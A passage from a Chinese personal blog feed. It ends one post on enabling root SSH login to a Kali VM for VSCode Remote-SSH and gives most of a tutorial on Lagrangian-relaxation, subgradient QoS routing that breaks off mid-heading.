<code>Remote-SSH</code>后点击 <code>Remote-SSH:Connect to Host...</code>，输入 ip 和密码就可以 SSH 连接到远程机器。</p><h2 id="kali">kali</h2><h3 id="1-Permission-denied-please-try-again">1.Permission denied, please try again.</h3><p>如果用同样的方式去连接 kali 的话，会遇到的第一个情况是：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Permission denied, please try again.</span><br></pre></td></tr></table></figure><p>原因在于用上述的方式默认连接的是 kali 的普通用户，但是 kali 是默认是特权用户 root，所以输入的账户和密码是不对应的。</p><p>解决的方法是：</p><p>启动 <code>Remote-SSH</code>后点击 <code>Remote-SSH:Connect to Host...</code>，再点击 <code>Add New SSH Host...</code>，根据提示输入<br><code>ssh root@xxx.xxx.xxx.xxx</code>，此时再连接，输入的密码就匹配上了。</p><h3 id="2-ssh-connect-to-host-xxx-xxx-xx-xx-port-22-Connection-refused">2.ssh:connect to host xxx.xxx.xx.xx port 22: Connection refused</h3><p>虽然密码正确，但是依然连接不上。<br>现在再去查“kali使用ssh进行登录”，就很容易明白为什么 kali 使用 ssh 登录需要改那里改这里了。</p><p>这也是 kali 是默认是特权用户 root 导致的。平时我们用 SSH 连接的是普通的用户，连接特权用户需要更改 SSH 的配置文件。</p><h3 id="修改-ssh-配置文件">修改 ssh 配置文件</h3><p>在 kali 的终端下：<br>需要修改的 ssh 的配置文件有 /etc/ssh 下的 ssh_config 和 ssh文件。</p><h4 id="修改-ssh-config-文件">修改 ssh_config 文件</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /etc/ssh</span><br><span class="line">vim ssh_config</span><br></pre></td></tr></table></figure><p>修改一个地方：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/PasswordAuthentication.png" width="300"><br>保存修改，退出 vim 编辑器</p><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">:wq!</span><br></pre></td></tr></table></figure><h4 id="修改-sshd-config-文件">修改 sshd_config 文件</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim sshd_config</span><br></pre></td></tr></table></figure><p>修改两处地方：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/PermitRootLogin.png" width="300"></p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/PasswordAuthentication_d.png" width="600"><p>修改的含义，根据其中文意义和文章之前的解说应该非常容易理解。<br>保存修改，退出 vim 编辑器</p><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">:wq!</span><br></pre></td></tr></table></figure><p>重启ssh服务</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">service ssh strat</span><br></pre></td></tr></table></figure><p>有时候重启一下才会生效（不知道为什么）。</p><h3 id="连接">连接</h3><p>再一次用 VSCode 的 Remote-SSH 连接，就能成功连接 kali 了。</p>]]></content>
    
    <summary type="html">
    
      &lt;img src=&quot;https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/architecture-ssh.png&quot; width=&quot;700&quot;&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;SSH 是我们经常用的一种协议，而 VSCode 的拓展 Remote-SSH 确实给力，允许在远程连接，在本地的终端进行编程。对我而言，就不需要在虚拟机 Ubuntu 里面安装 IDE，或者每次用共享文件夹编程完后跑到虚拟机中再跑程序。可以直接在自己的 Windows 下的 VSCode 进行编程。&lt;/p&gt;
&lt;p&gt;关于这方面的博客大多只有陈列一堆的命令而不加解释，读者照抄命令，有时候可以成功，有时候却不能，有时候抄命令抄一半就忘了抄到哪里。&lt;/p&gt;
    
    </summary>
    
    
      <category term="Web" scheme="https://zer0-nu1l.github.io/categories/Web/"/>
    
      <category term="SSH" scheme="https://zer0-nu1l.github.io/categories/Web/SSH/"/>
    
    
      <category term="kali" scheme="https://zer0-nu1l.github.io/tags/kali/"/>
    
      <category term="SSH" scheme="https://zer0-nu1l.github.io/tags/SSH/"/>
    
      <category term="VSCode" scheme="https://zer0-nu1l.github.io/tags/VSCode/"/>
    
      <category term="Remote-SSH" scheme="https://zer0-nu1l.github.io/tags/Remote-SSH/"/>
    
  </entry>
  
  <entry>
    <title>【深入浅出】基于拉格朗日松弛法的多约束 QoS 路由算法</title>
    <link href="https://zer0-nu1l.github.io/2019/12/16/Lagrange/"/>
    <id>https://zer0-nu1l.github.io/2019/12/16/Lagrange/</id>
    <published>2019-12-15T16:55:12.000Z</published>
    <updated>2020-12-18T15:34:42.317Z</updated>
    
    <content type="html"><![CDATA[<h1>概要</h1><p>在做网络应用的时候，往往会涉及到 QoS （Quality of Service）算法。<br>同时在应用平面，服务质量保证是非常重要的一环。<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/系统架构图.png" width="700"></p><p align="center">图0</p><p>学习的障碍主要在于：</p><ol><li>没有系统地学习过运筹学（凸优化）等知识</li><li>论文中往往默认读者有相应的知识储备，对于一些可能比较关键的部分直接跳过。（都靠自己猜想和反推得到）</li><li>论文中有不少纰漏与缺憾。</li></ol><p>这篇文章致力于以深入浅出的方式介绍 QoS 算法中的 基于拉格朗日松弛法的多约束 QoS 路由算法。<br>虽然对于论文中的一些部分没有吃透，但最重要的是通过整个过程，将 QoS 算法中默认读者储备的运筹学的知识展现出来。其中主要包括线性变换关系和次梯度。线性变换关系主要是为了将我们面对的网络路由算法抽象成数学问题，次梯度算法是为了找到最优解。</p><a id="more"></a><h1>线性变换关系</h1><blockquote><p>这一部分对于后面将拉格朗日松弛法引入路由算法，以及从单约束路由算法扩展到多约束路由算法至关重要。<br>注：原本打算使用其他的例子，但是始终找不出比于建国博士举的更通俗例子，所以沿用之。</p></blockquote><h2 id="单因素积累单因素-标量×标量">单因素积累单因素 - 标量×标量</h2><p>加法是一种简单的计数模型。</p><blockquote><p>现在考虑下面这种情况：有 3 只斑马，现在要计数每个斑马的眼睛。<br>经过九年义务教育的我们一定会不假思索用 $3 \times 2$ 来进行计算。这蕴含的是乘法的意义。</p></blockquote><p>乘法是加法的“指数运算”，由加法迭代而成。<br>虽然上面的例子我们可以用原来的加法计数模型 6 次得到答案，但是我们很快发现每个斑马有 2 只眼睛，<strong>比例</strong>不变，于是乘法非常方便地计数这种<strong>单此累积量始终不变</strong>的加法 。<br>$$<br>y = w \times x<br>$$<br>在乘法式子中， y 表示因变量，是一种积累量，x 表示自变量，是一个积累因素，而 w 表示累计的速度。<br>对应之前的例子是：<br>$$<br>y(\text{眼睛总数量})<br>= a(\text{每个斑马的眼睛数量}) \times x(\text{斑马个数})<br>$$</p><h2 id="多因素累积单因素-向量×向量">多因素累积单因素 - 向量×向量</h2><blockquote><p>想知道斑马和小鸟共有多少只眼睛</p></blockquote><p>现在出现了 2 个积累因素。</p><p>$$\begin{array}{cc}<br>y = w_1 \times x_1 + w_2 \times x_2 \\<br>x_1:\text{班马个数}, ; x_2:\text{小鸟个数}, ; y:\text{脚总数} \\<br>w_1:\text{斑马眼睛数量}, 4, ; w_2:\text{小鸟眼睛数量},2<br>\end{array}$$</p><blockquote><p>想知道斑马、小鸟、老鼠、狮子……共有多少只眼睛</p></blockquote><p>此时出现了多个积累因素，原来的乘法显得笨拙，也就出现了<strong>向量（vector）</strong>。<br>将不同因素按照固定顺序排列，用一个量来表示这些因素的整体。向量的维度对应因素的个数。<br>$$<br>x = (x_1, x_2, … x_n)<br>$$</p><p>回到刚刚的例子，<br>可用一个向量 $x=[x_1, x_2]$ 来代表斑马和小鸟分别有多少只；<br>再用一个向量 $w=[w_1, w_2]$ 来表示每个斑马和小鸟分有多少只腿。<br>注：之所以用字母 w ，是代表 weight 权重。</p><h2 id="多因素累积多因素-矩阵×向量">多因素累积多因素 - 矩阵×向量</h2><blockquote><p>不仅想要知道一共有多少个眼睛，还想知道有多少条腿时。</p></blockquote><p>可以用两个有序排列的向量来代表两组权重，也就形成了矩阵。<br>$$<br>x=<br>\begin{bmatrix}<br>x_1 \\<br>x_2<br>\end{bmatrix} \tag{1}<br>$$</p><p>$$<br>W=<br>\begin{bmatrix}<br>w_1 \\<br>w_2<br>\end{bmatrix} =<br>\begin{bmatrix}<br>w_{11} &amp; w_{12} \\<br>w_{21} &amp; w_{22}<br>\end{bmatrix} \tag{2}<br>$$</p><p>$$<br>y=<br>\begin{bmatrix}<br>y_1 \\<br>y_2<br>\end{bmatrix} \tag{3}<br>$$</p><p>$$<br>b=<br>\begin{bmatrix}<br>b_1 \\<br>b_2<br>\end{bmatrix} \tag{4}<br>$$</p><p>$$<br>y = WX+b<br>$$</p><p>$$\begin{array}{cc}<br>x_1:\text{班马个数}, ; x_2:\text{小鸟个数} \\<br>w_{11}:\text{斑马眼睛数量} ; w_{12}:\text{小鸟眼睛数量}, ; y_1:\text{腿总数} \\<br>w_{21}:\text{斑马腿数量},  ; w_{22}:\text{小鸟腿数量}, ; y_2:\text{眼总数} \\<br>b_1:\text{积累前腿数量},  ; b_2:\text{积累前腿数量}<br>\end{array}$$</p><p>由于 W 和 b 这两个变量的作用是用于描述输入 x 和输出 y 之间的关系。也把它们统称为参数（parameters）。</p><h2 id="批量多因素积累多因素-矩阵×矩阵">批量多因素积累多因素 - 矩阵×矩阵</h2><blockquote><p>如果第一次看见了 3 个斑马和 1 只鸟，第二次看到了 4 个斑马和 1 只鸟。想要知道两次分别有多少条腿，还想知道有多少个眼睛。</p></blockquote><p>就可以可以把所有（观察到的）x 并成矩阵来一次性批量计算。<br>在图像识别里，用会把一张图片切成一个行向量，然后由多个行向量组成一个矩阵。<br>通过矩阵运算就能实现图像的批量处理。</p><h3 id="例子">例子</h3><blockquote><p>应用实例: 职工轮训</p><p>实例某公司为了实现技术更新，计划对职工实行分批脱产轮训。<br>现有职工中不脱产职工8000人，脱产轮训职工2000人。<br>若每年从不脱产职工中抽调30%的人脱产轮训，同时又有60%脱产轮训职工结业回到生产岗位。<br>若职工总数保持不变，一年后不脱产职工及脱产轮训职工各有多少？两年后又怎样？</p></blockquote><p>分析：<br>两个积累因素：不脱产职工人数和脱产轮训职工人数；<br>两个积累的权重：脱产轮训率和回归生产率；<br>$$<br>\left(<br>\begin{array}{ll}<br>{0.70} &amp; {0.60} \\<br>{0.30} &amp; {0.40}<br>\end{array}<br>\right)<br>\left(<br>\begin{array}{l}<br>{8000} \\<br>{2000}<br>\end{array}<br>\right)=<br>\left(<br>\begin{array}{l}<br>\text{不脱产的职工数} \\<br>\text{脱产的职工数}<br>\end{array}<br>\right)<br>$$</p><h2 id="线性变化关系总结">线性变化关系总结</h2><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/匀速累积.png" width="500"><p align="center">图1：匀速累积模型</p>---<h1>次梯度法</h1><h2 id="次梯度的概念">次梯度的概念</h2><p>参考：<a href="https://blog.csdn.net/qq_32742009/article/details/81704139" target="_blank" rel="noopener">【机器学习】次梯度（subgradient）方法</a></p><blockquote><p>次导数（subderivative）、次微分（subdifferential）、次切线（subtangent lines）和次梯度（subgradient）的概念出现在凸分析，也就是凸函数的研究中。</p></blockquote><p>梯度（导数）的概念大家都知道，次梯度可以说是对梯度的一种补充（次导数是对导数的一种补充）。因为有些函数是不可导的，比如前面的图 2 就是一个不可导的函数。</p><p>不妨从一元函数的图像理解，和导数一样，先做函数一个点的切线（和函数只有一个交点的直线）。但是不连续的函数可能有多个，这也意味着次导数有多个，或者说是处于一个区间。</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/次导数.png" width="300"><p align="center">图2：次导数</p><p>图中蓝线表示函数，红线的斜率都在次导数的区间内。<br><strong>点 $x_0$ 的次导数</strong>的集合是一个非空闭区间[a, b]，其中 a 和 b 是单侧极限:<br>$$<br>\begin{aligned}<br>a=\lim_{x→x_{^-0}} \frac{f(x)−f(x_0)}{x−x_0} \\<br>b=\lim_{x→x{^+0}} \frac{f(x)−f(x_0)}{x−x_0}<br>\end{aligned}<br>$$</p><p>所有次导数的集合 $[a,b]$ 称为函数 $f$ 在 $x_0$ 的<strong>次微分</strong>。</p><p>例如：考虑凸函数 $f(x)=|x|$。在原点的次微分是区间 $[−1, 1]$ 。<br>$x_0&lt;0$时，次微分是单元素集合{-1}，而 $x_0&gt;0$，则是单元素集合{1}。</p><p>同样的道理推广到多元函数就有<strong>次梯度</strong>的概念。<br>$$<br>f(x) \geq f\left(x_{0}\right)+g^{T}\left(x-x_{0}\right)<br>$$</p><p>导数或者梯度等于零的时候说明取到极值，对应地，如果次导数或者次梯度的区间范围内包含零，也就说明在改点取到极值。<br>$$<br>f \left(x^{* }\right)=\min_{x} f(x) \Leftrightarrow 0 \in \partial f\left(x^{*}\right)<br>$$</p><h2 id="基本次梯度算法">基本次梯度算法</h2><blockquote><p>参考维基百科：<a href="https://zh.wikipedia.org/wiki/%E6%AC%A1%E6%A2%AF%E5%BA%A6%E6%B3%95" target="_blank" rel="noopener">次梯度法</a></p></blockquote><h3 id="迭代方法">迭代方法</h3><p>记 $f:\mathbb{R}^n \to \mathbb{R}$ 为定义在 $\mathbb{R}^n$ 上的凸函数。<br>次梯度算法使用以下的迭代格式:<br>$$<br>x^{(k+1)} = x^{(k)} - \alpha_k g^{(k)}<br>$$</p><p>其中 $g^{(k)}$ 表示函数 $f$ 在 $x^{(k)}$ 的次梯度.  如果 $f$ 可微，他的次梯度就是梯度向量$\nabla f$.<br>有时，$-g^{(k)}$ 不是函数 $f$ 在 $x^{(k)}$ 处的下降方向。因此采用一系列可能的 $f_{\rm{best}}$ 来追踪目标函数的极小值点，即:<br>$$<br>f_{\rm{best}}^{(k)} = \min {f_{\rm{best}}^{(k-1)} ,  f(x^{(k)}) }<br>$$</p><h3 id="步长的选取">步长的选取</h3><p>与梯度下降算法不同的是：次梯度算法没有明确的步长选择方法，有许多可采用的步长。以下为5种能够保证收敛性的步长规则:</p><ul><li>恒定步长，$\alpha_k = \alpha$。</li><li>恒定间隔，$\alpha_k = \gamma/\lVert g^{(k)}  \rVert_2$，得出$\lVert x^{(k+1)} - x^{(k)}  \rVert_2 = \gamma$。</li><li>步长平方可加，但步长不可加，即步长满足:<br>$\alpha_k\geq0,\qquad\sum_{k=1}^\infty \alpha_k^2 &lt;  \infty,\qquad \sum_{k=1}^\infty \alpha_k = \infty$。</li><li>步长不可加但步长递减，即步长满足:<br>$\alpha_k\geq0,\qquad \lim_{k\to\infty} \alpha_k = 0,\qquad  \sum_{k=1}^\infty \alpha_k = \infty$。</li><li>间隔不可加但间隔递减，即$\alpha_k = \gamma_k/\lVert g^{(k)}  \rVert_2$，其中:<br>$\gamma_k\geq0,\qquad \lim_{k\to\infty} \gamma_k = 0,\qquad  \sum_{k=1}^\infty \gamma_k = \infty$。<br>注意：上述步长是在算法执行前所确定的，不依赖于算法运行过程中产生的任何数据。这是与标准梯度下降法的显著区别。</li></ul><h3 id="停止条件">停止条件</h3><p>这一部分维基百科没有说明。我也是打算放进我们后续的算法中说明，因为后续的算法的场景更小，停止条件更有针对性。对这方面有兴趣的也可以自行学习。</p><hr><h1>拉格朗日松弛法（Lagrange Relaxation）</h1><h2 id="要解决的问题">要解决的问题</h2><p>拉格朗日松弛应用于求解约束规划问题。<br>数学描述为：<br>$$<br>\begin{aligned}<br>z_{1}= \min c^{T} x \\<br>s.t. Ax \geq b \\<br>x\in Z_{+}^{n}<br>\end{aligned}<br>$$<br>其中 $z_{1}=\min c^{T} x$ 是没有约束条件时的最小值，但现在有了 $Ax \geq b$ 这样的约束条件，原来的最优解不一定会满足约束条件。</p><h3 id="扩展">扩展</h3><p>我们可以对 x 的取值进行合理扩展。原式子中有 $x\in Z_{+}^{n}$，我可以把它扩展成多个因素，也就是向量 $x=[x_1, x_2, …, x_n]^T$。（从运筹学教材中广泛使用向量、矩阵得到的灵感）<br>而 $c=[c_1, c_2, …, c_n]$，c 可以理解成 const 或者 cost（代价）。</p><h2 id="基本原理">基本原理</h2><h3 id="基本思想">基本思想</h3><p>拉格朗日松弛是求解下界的一种方法。核心的思想是将造成问题难的约束吸收到目标函数中，使问题容易求解。<br>将 $Ax \geq b$ 变成 $0 \geq b - Ax$ 乘上拉格朗日乘子（非负）$ \lambda  ^T$，加入到 $z_{1}=\min c^{T} x$ 中，即构成拉格朗日松弛式：<br>$$<br>z_{LR}( \lambda )=\min c^{T} x+\left( \lambda ^{T}\right)(b-A x)<br>$$<br>由于 $b - Ax \leq 0$，所以 $ z_{LR}( \lambda ) \leq z_{IP} $。其中 $z_{IP}$ 表示 LR 的一个可行解。<br>此时，原理的问题求解变成了选择最优的拉格朗日乘子。</p><h3 id="选择最优的拉格朗日乘子">选择最优的拉格朗日乘子</h3><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/Z(lambda).png" width="500">图2：拉格朗日松弛式函数图像<p>$z_{LR}( \lambda )$ 是一个<strong>凹函数</strong>（向上凸）。（对应的，向下凸为凸函数）<br>如果它是光滑的（可微），就用<strong>梯度法</strong>来寻找最优的拉格朗日乘子；<br>如果它是非光滑的（不可微），就用<strong>次梯度法</strong>来寻找最优的拉格朗日乘子；</p><h4 id="梯度法">梯度法</h4><p>梯度法简单介绍，因为这篇文章后续应用的是次梯度法。<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/梯度.png" width="400"></p><p align="center">图3：一元函数梯度下降</p><p>基本步骤：任给一个初始出发点，设为X0，</p><ol><li>设定一个步长d；</li><li>计算该点当前梯度（导数）$y’$；</li><li>修改当前参数$x_1=x_0+d*y’$</li><li>计算该点当前梯度（导数）$y’$；<br>…重复…</li></ol><blockquote><p>当然有很多优化的梯度下降法，这里从略。</p></blockquote><h4 id="次梯度法">次梯度法</h4><p>之前已经介绍过次梯度的概念。<br>需要解决的问题是步长的选择和停止条件。</p><h5 id="步长的选择">步长的选择</h5><p>虽然前面列举了若干种方法，但在 Stanford University 的课程中提到了一种很适合的步长选取方法（Polyak’ rule）：</p><p>$$<br>\begin{array}{l}<br>{\text { Optimal step size when } f^{ \star } \text { is known }} \\<br>{\text { choice due to Polyak: }} \\<br>{\qquad \alpha_{k} = \frac{ f\left(x^{(k) }\right) - f^{ \star } }{ \left|g^{(k)}\right| _{2}^{2} } } \\<br>{\text { (can also use when optimal value is estimated) }}<br>\end{array}<br>$$</p><p>$$<br>\begin{array}{l}<br>{\text { motivation: start with basic inequality }} \\<br>{\qquad \left| x^{ (k+1) } - x^{ \star } \right| _{2} ^{2} \leq \left | x^{(k)} - x^{ \star } \right| _{2}^{2} - 2\alpha _{k} \left (f \left(x^{ (k) } \right) - f^{ \star } \right) + \alpha_{k}^{2}\left| g^{ (k) }\right| _{2}^{2}} \\<br>{\text { and choose } \alpha _{k} \text { to minimize righthand side }}<br>\end{array}<br>$$</p><p>…<br>…<br>（后续还有很多，没有搬过来，有兴趣可以自己查阅）<br>若是最优值 $f(x^*)$ 可知则可以用这种方法。<br>其中 ${\left| g^{(k)} \right|_{2}}$ 称为欧几里得范数，表示从原点出发到向量 $x$ 确定的点的欧几里得距离。也就是：<br>$$<br>|x|_{2} = \left(\ sum_{i} \left| x_{i} \right| ^{2} \right) ^{ \frac{1}{2} }<br>$$</p><p>欧几里得范数在机器学习中出现地十分频繁，经常省略下标2，简写成${\left|x\right|}$，所以这里的步长很多地方也在写作:<br>$$<br>\alpha_{k} = \frac{ f\left(x^{k} \right) - f \left( x^{*} \right)}{ \left| g^{k} \right| ^{2}}<br>$$</p><h5 id="停止条件-v2">停止条件</h5><ol><li>迭代次数不超过$T$。这是一种最为简单的原则，但解的质量无法保证。</li><li>$s^t=0$ 。这是最为理想的状态，此时，达到拉格朗日对偶的最优解。<br>在实际计算中，由于问题的复杂性和计算机本身的计算误差，这样的结果难达到，常常用$||s^t|| \le \epsilon$（c为给定的非负数）来代替。</li><li>$z_{UP}(t)=z_{LB}(t)$。在 $z_{UP}(t)$ 和 $z_{LB}(t)$ 可变时，这种情况表示已得到原问题的最优解。最优解为 $z_{IP}=z_{UP}(t)=z_{LR}(t)$.</li><li>$ \lambda ^t$或者目标值 $z_{LR}( \lambda ^t)$ 在规定的步数内变化不超过一个给定的值。</li></ol><h4 id="应用次梯度法于拉格朗日松弛">应用次梯度法于拉格朗日松弛</h4><p>构造的拉格朗日松弛式为：<br>$$<br>z_{LR}( \lambda )=\min c^{T} x+\left( \lambda ^{T}\right)(b-A x)<br>$$<br>由于次梯度是不唯一的，所以选择其中一个即可。</p><h5 id="算法步骤：">算法步骤：</h5><ol><li>任选一个初始拉格朗日乘子 $ \lambda ^1, t=1.$</li><li>对 $ \lambda  ^t$，任选一个次梯度 $s^{i}$；若 $s^{i}=0$，则 $ \lambda  ^t$ 达到最优解而停止计算。否则 $ \lambda  ^t = max[  \lambda  ^t + \theta_t s^t, 0 ]$, t = t+1，重复迭代。</li></ol><p>这里选取 $s^{i}=b-A x^{i}$ 作为梯度。<br>$i$ 表示第 $i$ 次迭代，$x^i$ 表示 $z_{LR}( \lambda )$ 的一个可行解。<br>步长 $\theta_t$ 依照前面的 Polyak 准则：<br>$$<br>\theta_{t} = \frac{ z_{UP}(t)-z_{LR}(t) }{\left| s^{t} \right| ^{2}} \beta_{t}<br>$$<br>$z_{UP}(t)$ 为原问题的一个上界，可以由一个可行解的目标值确定，也可以通过估计的方法得到。<br>可随 t 的变化逐步修正。<br>$z_{LR}(t)$为问题的下界，取 $z_{UP}(t)=z_{LR}(t)$.<br>$0 \le \beta_t \le 2$，一般取 $\beta_0 =2$。<br>当 $z_{LR}(t)$ 上升的时候，$\beta_t保持不变$；<br>当 $z_{LR}(t)$ 在给定的若干步没有变化时，取其 $\frac{1}{2}$.</p><h4 id="简单应用">简单应用</h4><p>在网络上流传的一份拉格朗日松弛算法的课件里面有一道简单应用，可以作为巩固理解的练习题，由于没有加入任何笔者的个人理解，这里不做搬运工了。<br>参看百度文库里的一个课件：<a href="https://wenku.baidu.com/view/550fe416abea998fcc22bcd126fff705cd175c56.html" target="_blank" rel="noopener">拉格朗日松弛</a></p><h2 id="用途">用途</h2><ol><li>对于线性整数规划问题，将难约束吸收到目标函数后，问题变得容易求解。虽然不一定是可行解，但是可以求得下界。</li><li>实际的计算结果证实拉格朗日松弛方法所给的下界相当不错，且计算时间可以接受。可以用于拉格朗日松弛的启发式算法（也就是我们马上就会用到的）。认为目标值不可能再变化，因此，停止运算。</li></ol><h1>QoS</h1><blockquote><p>终于到了 QoS 算法，不过不用担心，如果前面的部分已经理解，后面的除了论文有很多坑以外，已经没有太多比较难理解的了（可能吧）。</p></blockquote><h2 id="QoS-和-拉格朗日松弛法的关系">QoS 和 拉格朗日松弛法的关系</h2><h3 id="QoS-问题简介">QoS 问题简介</h3><blockquote><p>服务质量(QoS)是计算机网络研究领域的一个热点问题，目的是为用户在网络中搜索满足业务需求的路径。<br>QoS 路由的度量参数包括带宽、代价、延迟、延迟抖动、丢失率和跳数等。根据运算规则, 这些度量参数可分为加性度量参数、乘性度量参数和凹性度量参数。QoS 度量参数中, 代价、延迟等属于加性度量参数, 丢失率属于乘性参数, 带宽属于凹性参数。搜索 QoS 路径过程中, 可以删除不满足凹性参数的链路, 而乘性参数可通过取对数变为加性参数, 所以 QoS 路由算法主要是搜索到满足一个或多个加性度量参数的路径。<br>已经能证明多个加性度量的QoS 路由问题属于 NP 完全问题。<br>—— 《基于拉格朗日松驰的多约束QoS路由算法》</p></blockquote><h3 id="传统算法和拉格朗日松弛法">传统算法和拉格朗日松弛法</h3><blockquote><p>Dijkstra 算法是最短路径算法中的比较经典的算法，但只适用于求解单维权重图，对于多维权重图<br>的多约束路径问题，Dijkstra 算法难以胜任。拉格朗日松弛法是求解组合优化问题的常用方法，其基本思想是将约束条件吸收到目标函数中，使目标函数仍保持线性，并使得问题容易求解，从而可以在多项式时间内求出最优解或可行解。<br>——《一种基于拉格朗日松弛法的QoS路由算法》</p></blockquote><h2 id="论文介绍">论文介绍</h2><p>最开始拿到的论文是 <code>[1]何涛,王锁萍,张明.一种基于拉格朗日松弛法的QoS路由算法[J].电路与系统学报,2010,15(01):37-40.</code>，起初觉得这篇论文提出拉格朗日松弛的文字还是蛮流畅的，但是到 <code>4.1 算法相关的结论与证明</code> 部分，就觉得有点奇怪了，虽然它的证明没有太大问题，但是形式上已经和我所理解的拉格朗日松弛开始脱节。</p><h3 id="论文缺憾">论文缺憾</h3><ol><li>它的拉格朗提松弛式构造成了：$d§-\Delta_{\text {delay}}+ \lambda  c§ $，也就是把要求解的最小代价吸附到约束条件上，这个思路和正常的拉格朗日松弛式相反的；虽然如果运算的时候把他构造的式子两边同除以 $ \lambda $，把 $ \lambda $ 当成原来的 $\frac{1}{ \lambda }$，会回到正常的拉格朗日松弛式，但是又何必如此大费周章？后来找了很多其他论文，也证明了他们的思路和我都是一致的。</li><li>这篇论文的第二个遗憾是除了文字表面提了拉格朗日松弛，在算法实现步骤中并看不出来是拉格朗日松弛，确认极值的时候也是用自己证明的一些定理。最让我感到困惑的是在算法分析部分“故每次迭代后的路径总是优于上次迭代的结果”的理由不能让我信服。</li><li>最后一个的缺憾，私以为是算法步骤中的数学符号没有加以说明，难以理解。在文章前面部分数学符号的解释的位置放得恰到好处，而这一部分并没有处理得那么优秀。</li></ol><h3 id="IEEE-论文">IEEE 论文</h3><p>之后找到了另一篇论文 <code>[1]Juttner, A., Szviatovski, B., Mecs, I., Rajko, Z.. Lagrange relaxation based method for the QoS routing problem[P]. INFOCOM 2001. Twentieth Annual Joint Conference of the IEEE Computer and Communications Societies. Proceedings. IEEE,2001.</code>，<br>两个事情让我很震惊。<br>第一个是之前看到的论文和这一篇近似度极高…… 而这篇论文发表比前一篇早大概 9 年。并且我不觉得前一篇论文相对这一篇论文有什么创新，还缺乏了不少内容，甚至很有必要的说明部分略去了。<br>另外一件事是这篇 IEEE 论文也有一些谬误。</p><ol><li><p>在 <code>III. PROPOSED ALGORITHM C. Running time of the algorithm</code> 部分，符号的下标写错了：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/sup.png" width="500"></p></li><li><p>在<code>III. PROPOSED ALGORITHM B. The description of the algorithm</code> 部分，也有疑似纰漏的地方：<br><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/c.png" width="500"></p></li></ol><p>虽然 IEEE 论文有瑕疵，但是后续的会以它的为主，第一篇信誉度下滑的中文论文暂且放下。<br>邹永贵等:带多约束条件的最优路径选择算法研究 中对我最大的启示不是论文本身提出的观点，而是它提到了这篇 IEEE 论文中确确实实是采用次梯度下降法寻找最优参数，并采用上下界相等的停止原则来获得最优的解</p><h2 id="数学抽象">数学抽象</h2><p>现在要做的就是用前面介绍的线性变换关系，将 QoS 算法抽象成原来的拉格朗日松弛技术下的数学表达。<br>这一步在论文中都是跳过的，笔者猜想这是默认阅读论文的人都是学过运筹学或者最优化理论的。作为深入浅出的博客文章，我会对加上这一部分进行介绍。</p><h3 id="最值问题">最值问题</h3><p>原本的拉格朗日松弛法解决的问题是：<br>$$<br>\begin{aligned}<br>z_{1}= \min c^{T} x \\<br>s.t. Ax \geq b \\<br>x=[x_1, x_2, …, x_n]^T<br>\end{aligned}<br>$$<br>其中 $x$ 是一个列向量，这是之前讨论的结果，也是为这里的工作埋下的伏笔。<br>前面提到的把 $c=[c_1, c_2, …, c_m]$，字母c 可以理解成 cost（代价），也是伏笔。</p><h3 id="图">图</h3><p>网络可以看成是一张图，每一个结点V（vertex）对应一个网络设备或是终端，边（Edge）的权重对应连路上的一些参数，比如时延（delay）、代价（cost）。之前也提到乘性参数可通过取对数变为加性参数，所以可以统一处理。</p><img src="https://markdown-img-zer0nu1l.oss-cn-beijing.aliyuncs.com/img/graph.png" width="400"><h3 id="最小代价和时延约束">最小代价和时延约束</h3><p>而从一个结点到另一个结点的最小代价可以用图论中的 Dijkstra 算法得到。最短路径 $p$ 可以用一个列向量表示，为了和参数（比如代价）元素个数保持一致，路径用边作为向量的元素。故：最短路径 $p = [e_1, e_2, …, e_m]$，路径上的边权 $c=[c_1, c_2, …, c_m]$。现在得到一个非常重要的式子，通过多因素积累单因素得到所有边权的总和：<br>$$<br>c^T p = \min _{p \in P^{\prime}(s, t)} \sum_{e \in p} c(e) = Cost<br>$$<br>$P^{\prime}(s, t)$表示从结点 s，到结点 t 所有的路径。<br>同样的道理，时延可以表示成为：<br>$$<br>d^T p =  \sum_{e \in p} d(e) = Delay<br>$$<br>原来的时延约束条件对应的表达式为：<br>$$<br>\sum_{e \in p} d(e)\le \Delta_{delay}<br>$$<br>总的来说，已经将时延约束下最小代价的 QoS 转成适用于拉格朗日松弛法的表达式子。<br>$$<br>\begin{aligned}<br>z_{1}= \min c^{T} x \Rightarrow \min _{p \in P^{\prime}(s, t)} \sum_{e \in p} c(e) \\<br>s.t. Ax \geq b \Rightarrow \sum_{e \in p} d(e)\le \Delta_{delay}\\<br>x=[x_1, x_2, …, x_n]^T \Rightarrow p = [e_1, e_2, …, e_m]<br>\end{aligned}<br>$$</p><h3 id="多约束条件">多约束条件</h3><p>多约束条件是类似的。<br>$$<br>\begin{array}{c}{\min c§} \\<br>s.t. \\<br>w_{1}§ \leqslant M_{1} \\<br>{w_{2}§ \leqslant M_{2}} \\<br>{\vdots} \\<br>{w_{k}§ \leqslant M_{k}}\end{array}<br>$$</p><h2 id="基于拉格朗日松弛的-QoS">基于拉格朗日松弛的 